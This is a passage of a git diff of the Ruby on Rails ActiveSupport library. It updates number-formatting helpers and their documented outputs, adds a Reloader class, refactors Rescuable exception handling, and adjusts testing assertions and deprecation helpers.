# => ($1,234,567,890.50) + # # => "($1,234,567,890.50)" # number_to_currency(1234567890.50, unit: '£', separator: ',', delimiter: '') - # # => £1234567890,50 + # # => "£1234567890,50" # number_to_currency(1234567890.50, unit: '£', separator: ',', delimiter: '', format: '%n %u') - # # => 1234567890,50 £ + # # => "1234567890,50 £" def number_to_currency(number, options = {}) NumberToCurrencyConverter.convert(number, options) end @@ -110,15 +125,15 @@ module ActiveSupport # # ==== Examples # - # number_to_percentage(100) # => 100.000% - # number_to_percentage('98') # => 98.000% - # number_to_percentage(100, precision: 0) # => 100% - # number_to_percentage(1000, delimiter: '.', separator: ',') # => 1.000,000% - # number_to_percentage(302.24398923423, precision: 5) # => 302.24399% - # number_to_percentage(1000, locale: :fr) # => 1 000,000% - # number_to_percentage:(1000, precision: nil) # => 1000% - # number_to_percentage('98a') # => 98a% - # number_to_percentage(100, format: '%n %') # => 100 % + # number_to_percentage(100) # => "100.000%" + # number_to_percentage('98') # => "98.000%" + # number_to_percentage(100, precision: 0) # => "100%" + # number_to_percentage(1000, delimiter: '.', separator: ',') # => "1.000,000%" + # number_to_percentage(302.24398923423, precision: 5) # => "302.24399%" + # number_to_percentage(1000, locale: :fr) # => "1000,000%" + # number_to_percentage(1000, precision: nil) # => "1000%" + # number_to_percentage('98a') # => "98a%" + # number_to_percentage(100, format: '%n %') # => "100.000 %" def number_to_percentage(number, options = {}) NumberToPercentageConverter.convert(number, options) end @@ -135,19 +150,25 @@ module ActiveSupport # to ","). # * <tt>:separator</tt> - Sets the separator between the # fractional and integer digits (defaults to "."). + # * <tt>:delimiter_pattern</tt> - Sets a custom regular expression used for + # deriving the placement of delimiter. Helpful when using currency formats + # like INR. # # ==== Examples # - # number_to_delimited(12345678) # => 12,345,678 - # number_to_delimited('123456') # => 123,456 - # number_to_delimited(12345678.05) # => 12,345,678.05 - # number_to_delimited(12345678, delimiter: '.') # => 12.345.678 - # number_to_delimited(12345678, delimiter: ',') # => 12,345,678 - # number_to_delimited(12345678.05, separator: ' ') # => 12,345,678 05 - # number_to_delimited(12345678.05, locale: :fr) # => 12 345 678,05 - # number_to_delimited('112a') # => 112a + # number_to_delimited(12345678) # => "12,345,678" + # number_to_delimited('123456') # => "123,456" + # number_to_delimited(12345678.05) # => "12,345,678.05" + # number_to_delimited(12345678, delimiter: '.') # => "12.345.678" + # number_to_delimited(12345678, delimiter: ',') # => "12,345,678" + # number_to_delimited(12345678.05, separator: ' ') # => "12,345,678 05" + # number_to_delimited(12345678.05, locale: :fr) # => "12 345 678,05" + # number_to_delimited('112a') # => "112a" # number_to_delimited(98765432.98, delimiter: ' ', separator: ',') - # # => 98 765 432,98 + # # => "98 765 432,98" + # number_to_delimited("123456.78", + # delimiter_pattern: /(\d+?)(?=(\d\d)+(\d)(?!\d))/) + # # => "1,23,456.78" def number_to_delimited(number, options = {}) NumberToDelimitedConverter.convert(number, options) end @@ -176,22 +197,22 @@ module ActiveSupport # # ==== Examples # - # number_to_rounded(111.2345) # => 111.235 - # number_to_rounded(111.2345, precision: 2) # => 111.23 - # number_to_rounded(13, precision: 5) # => 13.00000 - # number_to_rounded(389.32314, precision: 0) # => 389 - # number_to_rounded(111.2345, significant: true) # => 111 - # number_to_rounded(111.2345, precision: 1, significant: true) # => 100 - # number_to_rounded(13, precision: 5, significant: true) # => 13.000 - # number_to_rounded(13, precision: nil) # => 13 - # number_to_rounded(111.234, locale: :fr) # => 111,234 + # number_to_rounded(111.2345) # => "111.235" + # number_to_rounded(111.2345, precision: 2) # => "111.23" + # number_to_rounded(13, precision: 5) # => "13.00000" + # number_to_rounded(389.32314, precision: 0) # => "389" + # number_to_rounded(111.2345, significant: true) # => "111" + # number_to_rounded(111.2345, precision: 1, significant: true) # => "100" + # number_to_rounded(13, precision: 5, significant: true) # => "13.000" + # number_to_rounded(13, precision: nil) # => "13" + # number_to_rounded(111.234, locale: :fr) # => "111,234" # # number_to_rounded(13, precision: 5, significant: true, strip_insignificant_zeros: true) - # # => 13 + # # => "13" # - # number_to_rounded(389.32314, precision: 4, significant: true) # => 389.3 + # number_to_rounded(389.32314, precision: 4, significant: true) # => "389.3" # number_to_rounded(1111.2345, precision: 2, separator: ',', delimiter: '.') - # # => 1.111,23 + # # => "1.111,23" def number_to_rounded(number, options = {}) NumberToRoundedConverter.convert(number, options) end @@ -220,20 +241,20 @@ module ActiveSupport # * <tt>:strip_insignificant_zeros</tt> - If +true+ removes # insignificant zeros after the decimal separator (defaults to # +true+) - # * <tt>:prefix</tt> - If +:si+ formats the number using the SI - # prefix (defaults to :binary) # # ==== Examples # - # number_to_human_size(123) # => 123 Bytes - # number_to_human_size(1234) # => 1.21 KB - # number_to_human_size(12345) # => 12.1 KB - # number_to_human_size(1234567) # => 1.18 MB - # number_to_human_size(1234567890) # => 1.15 GB - # number_to_human_size(1234567890123) # => 1.12 TB - # number_to_human_size(1234567, precision: 2) # => 1.2 MB - # number_to_human_size(483989, precision: 2) # => 470 KB - # number_to_human_size(1234567, precision: 2, separator: ',') # => 1,2 MB + # number_to_human_size(123) # => "123 Bytes" + # number_to_human_size(1234) # => "1.21 KB" + # number_to_human_size(12345) # => "12.1 KB" + # number_to_human_size(1234567) # => "1.18 MB" + # number_to_human_size(1234567890) # => "1.15 GB" + # number_to_human_size(1234567890123) # => "1.12 TB" + # number_to_human_size(1234567890123456) # => "1.1 PB" + # number_to_human_size(1234567890123456789) # => "1.07 EB" + # number_to_human_size(1234567, precision: 2) # => "1.2 MB" + # number_to_human_size(483989, precision: 2) # => "470 KB" + # number_to_human_size(1234567, precision: 2, separator: ',') # => "1,2 MB" # number_to_human_size(1234567890123, precision: 5) # => "1.1228 TB" # number_to_human_size(524288000, precision: 5) # => "500 MB" def number_to_human_size(number, options = {}) diff --git a/activesupport/lib/active_support/number_helper/number_to_currency_converter.rb b/activesupport/lib/active_support/number_helper/number_to_currency_converter.rb index ce03700de1..57f40f33bf 100644 --- a/activesupport/lib/active_support/number_helper/number_to_currency_converter.rb +++ b/activesupport/lib/active_support/number_helper/number_to_currency_converter.rb @@ -1,3 +1,5 @@ +require 'active_support/core_ext/numeric/inquiry' + module ActiveSupport module NumberHelper class NumberToCurrencyConverter < NumberConverter # :nodoc: @@ -7,23 +9,19 @@ module ActiveSupport number = self.number.to_s.strip format = options[:format] - if is_negative?(number) + if number.to_f.negative? format = options[:negative_format] number = absolute_value(number) end rounded_number = NumberToRoundedConverter.convert(number, options) - format.gsub(/%n/, rounded_number).gsub(/%u/, options[:unit]) + format.gsub('%n'.freeze, rounded_number).gsub('%u'.freeze, options[:unit]) end private - def is_negative?(number) - number.to_f.phase != 0 - end - def absolute_value(number) - number.respond_to?("abs") ? number.abs : number.sub(/\A-/, '') + number.respond_to?(:abs) ? number.abs : number.sub(/\A-/, '') end def options diff --git a/activesupport/lib/active_support/number_helper/number_to_delimited_converter.rb b/activesupport/lib/active_support/number_helper/number_to_delimited_converter.rb index d85cc086d7..43c5540b6f 100644 --- a/activesupport/lib/active_support/number_helper/number_to_delimited_converter.rb +++ b/activesupport/lib/active_support/number_helper/number_to_delimited_converter.rb @@ -3,7 +3,7 @@ module ActiveSupport class NumberToDelimitedConverter < NumberConverter #:nodoc: self.validate_float = true - DELIMITED_REGEX = /(\d)(?=(\d\d\d)+(?!\d))/ + DEFAULT_DELIMITER_REGEX = /(\d)(?=(\d\d\d)+(?!\d))/ def convert parts.join(options[:separator]) @@ -12,12 +12,17 @@ module ActiveSupport private def parts - left, right = number.to_s.split('.') - left.gsub!(DELIMITED_REGEX) do |digit_to_delimit| + left, right = number.to_s.split('.'.freeze) + left.gsub!(delimiter_pattern) do |digit_to_delimit| "#{digit_to_delimit}#{options[:delimiter]}" end [left, right].compact end + + def delimiter_pattern + options.fetch(:delimiter_pattern, DEFAULT_DELIMITER_REGEX) + end + end end end diff --git a/activesupport/lib/active_support/number_helper/number_to_human_converter.rb b/activesupport/lib/active_support/number_helper/number_to_human_converter.rb index 6940beb318..7a1f8171c0 100644 --- a/activesupport/lib/active_support/number_helper/number_to_human_converter.rb +++ b/activesupport/lib/active_support/number_helper/number_to_human_converter.rb @@ -20,10 +20,12 @@ module ActiveSupport exponent = calculate_exponent(units) @number = number / (10 ** exponent) + until (rounded_number = NumberToRoundedConverter.convert(number, options)) != NumberToRoundedConverter.convert(1000, options) + @number = number / 1000.0 + exponent += 3 + end unit = determine_unit(units, exponent) - - rounded_number = NumberToRoundedConverter.convert(number, options) - format.gsub(/%n/, rounded_number).gsub(/%u/, unit).strip + format.gsub('%n'.freeze, rounded_number).gsub('%u'.freeze, unit).strip end private diff --git a/activesupport/lib/active_support/number_helper/number_to_human_size_converter.rb b/activesupport/lib/active_support/number_helper/number_to_human_size_converter.rb index 78d2c9ae6e..a83b368b7f 100644 --- a/activesupport/lib/active_support/number_helper/number_to_human_size_converter.rb +++ b/activesupport/lib/active_support/number_helper/number_to_human_size_converter.rb @@ -1,12 +1,16 @@ module ActiveSupport module NumberHelper class NumberToHumanSizeConverter < NumberConverter #:nodoc: - STORAGE_UNITS = [:byte, :kb, :mb, :gb, :tb] + STORAGE_UNITS = [:byte, :kb, :mb, :gb, :tb, :pb, :eb] self.namespace = :human self.validate_float = true def convert + if opts.key?(:prefix) + ActiveSupport::Deprecation.warn('The :prefix option of `number_to_human_size` is deprecated and will be removed in Rails 5.1 with no replacement.') + end + @number = Float(number) # for backwards compatibility with those that didn't add strip_insignificant_zeros to their locale files @@ -20,7 +24,7 @@ module ActiveSupport human_size = number / (base ** exponent) number_to_format = NumberToRoundedConverter.convert(human_size, options) end - conversion_format.gsub(/%n/, number_to_format).gsub(/%u/, unit) + conversion_format.gsub('%n'.freeze, number_to_format).gsub('%u'.freeze, unit) end private diff --git a/activesupport/lib/active_support/number_helper/number_to_percentage_converter.rb b/activesupport/lib/active_support/number_helper/number_to_percentage_converter.rb index 1af294a03e..4c04d40c19 100644 --- a/activesupport/lib/active_support/number_helper/number_to_percentage_converter.rb +++ b/activesupport/lib/active_support/number_helper/number_to_percentage_converter.rb @@ -5,7 +5,7 @@ module ActiveSupport def convert rounded_number = NumberToRoundedConverter.convert(number, options) - options[:format].gsub(/%n/, rounded_number) + options[:format].gsub('%n'.freeze, rounded_number) end end end diff --git a/activesupport/lib/active_support/number_helper/number_to_phone_converter.rb b/activesupport/lib/active_support/number_helper/number_to_phone_converter.rb index af2ee56d91..dee74fa7a6 100644 --- a/activesupport/lib/active_support/number_helper/number_to_phone_converter.rb +++ b/activesupport/lib/active_support/number_helper/number_to_phone_converter.rb @@ -18,12 +18,16 @@ module ActiveSupport end def convert_with_area_code(number) - number.gsub!(/(\d{1,3})(\d{3})(\d{4}$)/,"(\\1) \\2#{delimiter}\\3") + default_pattern = /(\d{1,3})(\d{3})(\d{4}$)/ + number.gsub!(regexp_pattern(default_pattern), + "(\\1) \\2#{delimiter}\\3") number end def convert_without_area_code(number) - number.gsub!(/(\d{0,3})(\d{3})(\d{4})$/,"\\1#{delimiter}\\2#{delimiter}\\3") + default_pattern = /(\d{0,3})(\d{3})(\d{4})$/ + number.gsub!(regexp_pattern(default_pattern), + "\\1#{delimiter}\\2#{delimiter}\\3") number.slice!(0, 1) if start_with_delimiter?(number) number end @@ -43,6 +47,11 @@ module ActiveSupport def phone_ext(ext) ext.blank? ? "" : " x #{ext}" end + + def regexp_pattern(default_pattern) + opts.fetch :pattern, default_pattern + end + end end end diff --git a/activesupport/lib/active_support/number_helper/number_to_rounded_converter.rb b/activesupport/lib/active_support/number_helper/number_to_rounded_converter.rb index 981c562551..9fb7dfb779 100644 --- a/activesupport/lib/active_support/number_helper/number_to_rounded_converter.rb +++ b/activesupport/lib/active_support/number_helper/number_to_rounded_converter.rb @@ -29,9 +29,11 @@ module ActiveSupport formatted_string = if BigDecimal === rounded_number && rounded_number.finite? - s = rounded_number.to_s('F') + '0'*precision - a, b = s.split('.', 2) - a + '.' + b[0, precision] + s = rounded_number.to_s('F') + s << '0'.freeze * precision + a, b = s.split('.'.freeze, 2) + a << '.'.freeze + a << b[0, precision] else "%00.#{precision}f" % rounded_number end diff --git a/activesupport/lib/active_support/ordered_hash.rb b/activesupport/lib/active_support/ordered_hash.rb index 4680d5acb7..b1658f0f27 100644 --- a/activesupport/lib/active_support/ordered_hash.rb +++ b/activesupport/lib/active_support/ordered_hash.rb @@ -5,7 +5,7 @@ YAML.add_builtin_type("omap") do |type, val| end module ActiveSupport - # <tt>ActiveSupport::OrderedHash</tt> implements a hash that preserves + # DEPRECATED: <tt>ActiveSupport::OrderedHash</tt> implements a hash that preserves # insertion order. # # oh = ActiveSupport::OrderedHash.new diff --git a/activesupport/lib/active_support/ordered_options.rb b/activesupport/lib/active_support/ordered_options.rb index a33e2c58a9..53a55bd986 100644 --- a/activesupport/lib/active_support/ordered_options.rb +++ b/activesupport/lib/active_support/ordered_options.rb @@ -6,6 +6,7 @@ module ActiveSupport # h[:girl] = 'Mary' # h[:boy] # => 'John' # h[:girl] # => 'Mary' + # h[:dog] # => nil # # Using +OrderedOptions+, the above code could be reduced to: # @@ -14,6 +15,13 @@ module ActiveSupport # h.girl = 'Mary' # h.boy # => 'John' # h.girl # => 'Mary' + # h.dog # => nil + # + # To raise an exception when the value is blank, append a + # bang to the key name, like: + # + # h.dog! # => raises KeyError: key not found: :dog + # class OrderedOptions < Hash alias_method :_get, :[] # preserve the original #[] method protected :_get # make it protected @@ -31,7 +39,13 @@ module ActiveSupport if name_string.chomp!('=') self[name_string] = args.first else - self[name] + bangs = name_string.chomp!('!') + + if bangs + fetch(name_string.to_sym).presence || raise(KeyError.new("#{name_string} is blank.")) + else + self[name_string] + end end end diff --git a/activesupport/lib/active_support/per_thread_registry.rb b/activesupport/lib/active_support/per_thread_registry.rb index ca2e4d5625..88e2b12cc7 100644 --- a/activesupport/lib/active_support/per_thread_registry.rb +++ b/activesupport/lib/active_support/per_thread_registry.rb @@ -1,4 +1,9 @@ +require 'active_support/core_ext/module/delegation' + module ActiveSupport + # NOTE: This approach has been deprecated for end-user code in favor of thread_mattr_accessor and friends. + # Please use that approach instead. + # # This module is used to encapsulate access to thread local variables. # # Instead of polluting the thread locals namespace: @@ -43,9 +48,9 @@ module ActiveSupport protected def method_missing(name, *args, &block) # :nodoc: # Caches the method definition as a singleton method of the receiver. - define_singleton_method(name) do |*a, &b| - instance.public_send(name, *a, &b) - end + # + # By letting #delegate handle it, we avoid an enclosure that'll capture args. + singleton_class.delegate name, to: :instance send(name, *args, &block) end diff --git a/activesupport/lib/active_support/rails.rb b/activesupport/lib/active_support/rails.rb index b05c3ff126..c8e3a4bf53 100644 --- a/activesupport/lib/active_support/rails.rb +++ b/activesupport/lib/active_support/rails.rb @@ -1,8 +1,8 @@ # This is private interface. # # Rails components cherry pick from Active Support as needed, but there are a -# few features that are used for sure some way or another and it is not worth -# to put individual requires absolutely everywhere. Think blank? for example. +# few features that are used for sure in some way or another and it is not worth +# putting individual requires absolutely everywhere. Think blank? for example. # # This file is loaded by every Rails component except Active Support itself, # but it does not belong to the Rails public interface. It is internal to diff --git a/activesupport/lib/active_support/railtie.rb b/activesupport/lib/active_support/railtie.rb index ef22433491..845788b669 100644 --- a/activesupport/lib/active_support/railtie.rb +++ b/activesupport/lib/active_support/railtie.rb @@ -13,13 +13,6 @@ module ActiveSupport end end - initializer "active_support.halt_callback_chains_on_return_false", after: :load_config_initializers do |app| - if app.config.active_support.key? :halt_callback_chains_on_return_false - ActiveSupport::Callbacks::CallbackChain.halt_and_display_warning_on_return_false = \ - app.config.active_support.halt_callback_chains_on_return_false - end - end - # Sets the default value for Time.zone # If assigned value cannot be matched to a TimeZone, an exception will be raised. initializer "active_support.initialize_time_zone" do |app| @@ -33,7 +26,7 @@ module ActiveSupport unless zone_default raise 'Value assigned to config.time_zone not recognized. ' \ - 'Run "rake -D time" for a list of tasks for finding appropriate time zone names.' + 'Run "rake time:zones:all" for a time zone names list.' end Time.zone_default = zone_default diff --git a/activesupport/lib/active_support/reloader.rb b/activesupport/lib/active_support/reloader.rb new file mode 100644 index 0000000000..5623bdd349 --- /dev/null +++ b/activesupport/lib/active_support/reloader.rb @@ -0,0 +1,129 @@ +require 'active_support/execution_wrapper' + +module ActiveSupport + #-- + # This class defines several callbacks: + # + # to_prepare -- Run once at application startup, and also from + # +to_run+. + # + # to_run -- Run before a work run that is reloading. If + # +reload_classes_only_on_change+ is true (the default), the class + # unload will have already occurred. + # + # to_complete -- Run after a work run that has reloaded. If + # +reload_classes_only_on_change+ is false, the class unload will + # have occurred after the work run, but before this callback. + # + # before_class_unload -- Run immediately before the classes are + # unloaded. + # + # after_class_unload -- Run immediately after the classes are + # unloaded. + # + class Reloader < ExecutionWrapper + define_callbacks :prepare + + define_callbacks :class_unload + + def self.to_prepare(*args, &block) + set_callback(:prepare, *args, &block) + end + + def self.before_class_unload(*args, &block) + set_callback(:class_unload, *args, &block) + end + + def self.after_class_unload(*args, &block) + set_callback(:class_unload, :after, *args, &block) + end + + to_run(:after) { self.class.prepare! } + + # Initiate a manual reload + def self.reload! + executor.wrap do + new.tap do |instance| + begin + instance.run! + ensure + instance.complete! + end + end + end + prepare! + end + + def self.run! # :nodoc: + if check! + super + else + Null + end + end + + # Run the supplied block as a work unit, reloading code as needed + def self.wrap + executor.wrap do + super + end + end + + class_attribute :executor + class_attribute :check + + self.executor = Executor + self.check = lambda { false } + + def self.check! # :nodoc: + @should_reload ||= check.call + end + + def self.reloaded! # :nodoc: + @should_reload = false + end + + def self.prepare! # :nodoc: + new.run_callbacks(:prepare) + end + + def initialize + super + @locked = false + end + + # Acquire the ActiveSupport::Dependencies::Interlock unload lock, + # ensuring it will be released automatically + def require_unload_lock! + unless @locked + ActiveSupport::Dependencies.interlock.start_unloading + @locked = true + end + end + + # Release the unload lock if it has been previously obtained + def release_unload_lock! + if @locked + @locked = false + ActiveSupport::Dependencies.interlock.done_unloading + end + end + + def run! # :nodoc: + super + release_unload_lock! + end + + def class_unload!(&block) # :nodoc: + require_unload_lock! + run_callbacks(:class_unload, &block) + end + + def complete! # :nodoc: + super + self.class.reloaded! + ensure + release_unload_lock! + end + end +end diff --git a/activesupport/lib/active_support/rescuable.rb b/activesupport/lib/active_support/rescuable.rb index 67aac32742..2c05deee41 100644 --- a/activesupport/lib/active_support/rescuable.rb +++ b/activesupport/lib/active_support/rescuable.rb @@ -1,7 +1,6 @@ require 'active_support/concern' require 'active_support/core_ext/class/attribute' require 'active_support/core_ext/string/inflections' -require 'active_support/core_ext/array/extract_options' module ActiveSupport # Rescuable module adds support for easier exception handling. @@ -48,14 +47,12 @@ module ActiveSupport # end # # Exceptions raised inside exception handlers are not propagated up. - def rescue_from(*klasses, &block) - options = klasses.extract_options! - - unless options.has_key?(:with) + def rescue_from(*klasses, with: nil, &block) + unless with if block_given? - options[:with] = block + with = block else - raise ArgumentError, "Need a handler. Supply an options hash that has a :with key as the last argument." + raise ArgumentError, 'Need a handler. Pass the with: keyword argument or provide a block.' end end @@ -65,55 +62,104 @@ module ActiveSupport elsif klass.is_a?(String) klass else - raise ArgumentError, "#{klass} is neither an Exception nor a String" + raise ArgumentError, "#{klass.inspect} must be an Exception class or a String referencing an Exception class" end - # put the new handler at the end because the list is read in reverse - self.rescue_handlers += [[key, options[:with]]] + # Put the new handler at the end because the list is read in reverse. + self.rescue_handlers += [[key, with]] end end - end - # Tries to rescue the exception by looking up and calling a registered handler. - def rescue_with_handler(exception) - if handler = handler_for_rescue(exception) - handler.arity != 0 ? handler.call(exception) : handler.call - true # don't rely on the return value of the handler + # Matches an exception to a handler based on the exception class. + # + # If no handler matches the exception, check for a handler matching the + # (optional) exception.cause. If no handler matches the exception or its + # cause, this returns nil so you can deal with unhandled exceptions. + # Be sure to re-raise unhandled exceptions if this is what you expect. + # + # begin + # … + # rescue => exception + # rescue_with_handler(exception) || raise + # end + # + # Returns the exception if it was handled and nil if it was not. + def rescue_with_handler(exception, object: self) + if handler = handler_for_rescue(exception, object: object) + handler.call exception + exception + end end - end - def handler_for_rescue(exception) - # We go from right to left because pairs are pushed onto rescue_handlers - # as rescue_from declarations are found. - _, rescuer = self.class.rescue_handlers.reverse.detect do |klass_name, handler| - # The purpose of allowing strings in rescue_from is to support the - # declaration of handler associations for exception classes whose - # definition is yet unknown. - # - # Since this loop needs the constants it would be inconsistent to - # assume they should exist at this point. An early raised exception - # could trigger some other handler and the array could include - # precisely a string whose corresponding constant has not yet been - # seen. This is why we are tolerant to unknown constants. - # - # Note that this tolerance only matters if the exception was given as - # a string, otherwise a NameError will be raised by the interpreter - # itself when rescue_from CONSTANT is executed. - klass = self.class.const_get(klass_name) rescue nil - klass ||= (klass_name.constantize rescue nil) - klass === exception if klass + def handler_for_rescue(exception, object: self) #:nodoc: + case rescuer = find_rescue_handler(exception) + when Symbol + method = object.method(rescuer) + if method.arity == 0 + -> e { method.call } + else + method + end + when Proc + if rescuer.arity == 0 + -> e { object.instance_exec(&rescuer) } + else + -> e { object.instance_exec(e, &rescuer) } + end + end end - case rescuer - when Symbol - method(rescuer) - when Proc - if rescuer.arity == 0 - Proc.new { instance_exec(&rescuer) } - else - Proc.new { |_exception| instance_exec(_exception, &rescuer) } + private + def find_rescue_handler(exception) + if exception + # Handlers are in order of declaration but the most recently declared + # is the highest priority match, so we search for matching handlers + # in reverse. + _, handler = rescue_handlers.reverse_each.detect do |class_or_name, _| + if klass = constantize_rescue_handler_class(class_or_name) + klass === exception + end + end + + handler || find_rescue_handler(exception.cause) + end end - end + + def constantize_rescue_handler_class(class_or_name) + case class_or_name + when String, Symbol + begin + # Try a lexical lookup first since we support + # + # class Super + # rescue_from 'Error', with: … + # end + # + # class Sub + # class Error < StandardError; end + # end + # + # so an Error raised in Sub will hit the 'Error' handler. + const_get class_or_name + rescue NameError + class_or_name.safe_constantize + end + else + class_or_name + end + end + end + + # Delegates to the class method, but uses the instance as the subject for + # rescue_from handlers (method calls, instance_exec blocks). + def rescue_with_handler(exception) + self.class.rescue_with_handler exception, object: self + end + + # Internal handler lookup. Delegates to class method. Some libraries call + # this directly, so keeping it around for compatibility. + def handler_for_rescue(exception) #:nodoc: + self.class.handler_for_rescue exception, object: self end end end diff --git a/activesupport/lib/active_support/security_utils.rb b/activesupport/lib/active_support/security_utils.rb index 64c4801179..9be8613ada 100644 --- a/activesupport/lib/active_support/security_utils.rb +++ b/activesupport/lib/active_support/security_utils.rb @@ -1,3 +1,5 @@ +require 'digest' + module ActiveSupport module SecurityUtils # Constant time string comparison. @@ -16,5 +18,10 @@ module ActiveSupport res == 0 end module_function :secure_compare + + def variable_size_secure_compare(a, b) # :nodoc: + secure_compare(::Digest::SHA256.hexdigest(a), ::Digest::SHA256.hexdigest(b)) + end + module_function :variable_size_secure_compare end end diff --git a/activesupport/lib/active_support/subscriber.rb b/activesupport/lib/active_support/subscriber.rb index cd40284660..1cd4b807ad 100644 --- a/activesupport/lib/active_support/subscriber.rb +++ b/activesupport/lib/active_support/subscriber.rb @@ -5,24 +5,19 @@ module ActiveSupport # ActiveSupport::Notifications. The subscriber dispatches notifications to # a registered object based on its given namespace. # - # An example would be Active Record subscriber responsible for collecting + # An example would be an Active Record subscriber responsible for collecting # statistics about queries: # # module ActiveRecord # class StatsSubscriber < ActiveSupport::Subscriber + # attach_to :active_record + # # def sql(event) # Statsd.timing("sql.#{event.payload[:name]}", event.duration) # end # end # end # - # And it's finally registered as: - # - # ActiveRecord::StatsSubscriber.attach_to :active_record - # - # Since we need to know all instance methods before attaching the log - # subscriber, the line above should be called after your subscriber definition. - # # After configured, whenever a "sql.active_record" notification is published, # it will properly dispatch the event (ActiveSupport::Notifications::Event) to # the +sql+ method. @@ -66,7 +61,7 @@ module ActiveSupport pattern = "#{event}.#{namespace}" - # don't add multiple subscribers (eg. if methods are redefined) + # Don't add multiple subscribers (eg. if methods are redefined). return if subscriber.patterns.include?(pattern) subscriber.patterns << pattern diff --git a/activesupport/lib/active_support/test_case.rb b/activesupport/lib/active_support/test_case.rb index 739823bd56..1fc12d0bc1 100644 --- a/activesupport/lib/active_support/test_case.rb +++ b/activesupport/lib/active_support/test_case.rb @@ -36,17 +36,8 @@ module ActiveSupport # Possible values are +:random+, +:parallel+, +:alpha+, +:sorted+. # Defaults to +:random+. def test_order - test_order = ActiveSupport.test_order - - if test_order.nil? - test_order = :random - self.test_order = test_order - end - - test_order + ActiveSupport.test_order ||= :random end - - alias :my_tests_are_order_dependent! :i_suck_and_my_tests_are_order_dependent! end alias_method :method_name, :name @@ -75,12 +66,20 @@ module ActiveSupport alias :assert_not_respond_to :refute_respond_to alias :assert_not_same :refute_same - # Fails if the block raises an exception. + + # Assertion that the block should not raise an exception. + # + # Passes if evaluated code in the yielded block raises no exception. # # assert_nothing_raised do - # ... + # perform_service(param: 'no_exception') # end def assert_nothing_raised(*args) + if args.present? + ActiveSupport::Deprecation.warn( + "Passing arguments to assert_nothing_raised " \ + "is deprecated and will be removed in Rails 5.1.") + end yield end end diff --git a/activesupport/lib/active_support/testing/assertions.rb b/activesupport/lib/active_support/testing/assertions.rb index 8b649c193f..29305e0082 100644 --- a/activesupport/lib/active_support/testing/assertions.rb +++ b/activesupport/lib/active_support/testing/assertions.rb @@ -3,7 +3,7 @@ require 'active_support/core_ext/object/blank' module ActiveSupport module Testing module Assertions - # Assert that an expression is not truthy. Passes if <tt>object</tt> is + # Asserts that an expression is not truthy. Passes if <tt>object</tt> is # +nil+ or +false+. "Truthy" means "considered true in a conditional" # like <tt>if foo</tt>. # @@ -23,42 +23,42 @@ module ActiveSupport # result of what is evaluated in the yielded block. # # assert_difference 'Article.count' do - # post :create, article: {...} + # post :create, params: { article: {...} } # end # # An arbitrary expression is passed in and evaluated. # - # assert_difference 'assigns(:article).comments(:reload).size' do - # post :create, comment: {...} + # assert_difference 'Article.last.comments(:reload).size' do + # post :create, params: { comment: {...} } # end # # An arbitrary positive or negative difference can be specified. # The default is <tt>1</tt>. # # assert_difference 'Article.count', -1 do - # post :delete, id: ... + # post :delete, params: { id: ... } # end # # An array of expressions can also be passed in and evaluated. # # assert_difference [ 'Article.count', 'Post.count' ], 2 do - # post :create, article: {...} + # post :create, params: { article: {...} } # end # # A lambda or a list of lambdas can be passed in and evaluated: # # assert_difference ->{ Article.count }, 2 do - # post :create, article: {...} + # post :create, params: { article: {...} } # end # # assert_difference [->{ Article.count }, ->{ Post.count }], 2 do - # post :create, article: {...} + # post :create, params: { article: {...} } # end # # An error message can be specified. # # assert_difference 'Article.count', -1, 'An Article should be destroyed' do - # post :delete, id: ... + # post :delete, params: { id: ... } # end def assert_difference(expression, difference = 1, message = nil, &block) expressions = Array(expression) @@ -68,26 +68,28 @@ module ActiveSupport } before = exps.map(&:call) - yield + retval = yield expressions.zip(exps).each_with_index do |(code, e), i| error = "#{code.inspect} didn't change by #{difference}" error = "#{message}.\n#{error}" if message assert_equal(before[i] + difference, e.call, error) end + + retval end # Assertion that the numeric result of evaluating an expression is not # changed before and after invoking the passed in block. # # assert_no_difference 'Article.count' do - # post :create, article: invalid_attributes + # post :create, params: { article: invalid_attributes } # end # # An error message can be specified. # # assert_no_difference 'Article.count', 'An Article should not be created' do - # post :create, article: invalid_attributes + # post :create, params: { article: invalid_attributes } # end def assert_no_difference(expression, message = nil, &block) assert_difference expression, 0, message, &block diff --git a/activesupport/lib/active_support/testing/autorun.rb b/activesupport/lib/active_support/testing/autorun.rb index 5aa5f46310..84c6b89340 100644 --- a/activesupport/lib/active_support/testing/autorun.rb +++ b/activesupport/lib/active_support/testing/autorun.rb @@ -2,4 +2,11 @@ gem 'minitest' require 'minitest' -Minitest.autorun +if Minitest.respond_to?(:run_with_rails_extension) + unless Minitest.run_with_rails_extension + Minitest.run_with_autorun = true + Minitest.autorun + end +else + Minitest.autorun +end diff --git a/activesupport/lib/active_support/testing/deprecation.rb b/activesupport/lib/active_support/testing/deprecation.rb index 6c94c611b6..5dfa14eeba 100644 --- a/activesupport/lib/active_support/testing/deprecation.rb +++ b/activesupport/lib/active_support/testing/deprecation.rb @@ -3,8 +3,8 @@ require 'active_support/deprecation' module ActiveSupport module Testing module Deprecation #:nodoc: - def assert_deprecated(match = nil, &block) - result, warnings = collect_deprecations(&block) + def assert_deprecated(match = nil, deprecator = nil, &block) + result, warnings = collect_deprecations(deprecator, &block) assert !warnings.empty?, "Expected a deprecation warning within the block but received none" if match match = Regexp.new(Regexp.escape(match)) unless match.is_a?(Regexp) @@ -13,22 +13,23 @@ module ActiveSupport result end - def assert_not_deprecated(&block) - result, deprecations = collect_deprecations(&block) + def assert_not_deprecated(deprecator = nil, &block) + result, deprecations = collect_deprecations(deprecator, &block) assert deprecations.empty?, "Expected no deprecation warning within the block but received #{deprecations.size}: \n #{deprecations * "\n "}" result end - def collect_deprecations - old_behavior = ActiveSupport::Deprecation.behavior + def collect_deprecations(deprecator = nil) + deprecator ||= ActiveSupport::Deprecation + old_behavior = deprecator.behavior deprecations = [] - ActiveSupport::Deprecation.behavior = Proc.new do |message, callstack| + deprecator.behavior = Proc.new do |message, callstack| deprecations << message end result = yield [result, deprecations] ensure - ActiveSupport::Deprecation.behavior = old_behavior + deprecator.behavior = old_behavior end end end diff --git a/activesupport/lib/active_support/testing/file_fixtures.rb b/activesupport/lib/active_support/testing/file_fixtures.rb index 4c6a0801b8..affb84cda5 100644 --- a/activesupport/lib/active_support/testing/file_fixtures.rb +++ b/activesupport/lib/active_support/testing/file_fixtures.rb @@ -18,7 +18,7 @@ module ActiveSupport # Returns a +Pathname+ to the fixture file named +fixture_name+. # - # Raises ArgumentError if +fixture_name+ can't be found. + # Raises +ArgumentError+ if +fixture_name+ can't be found. def file_fixture(fixture_name) path = Pathname.new(File.join(file_fixture_path, 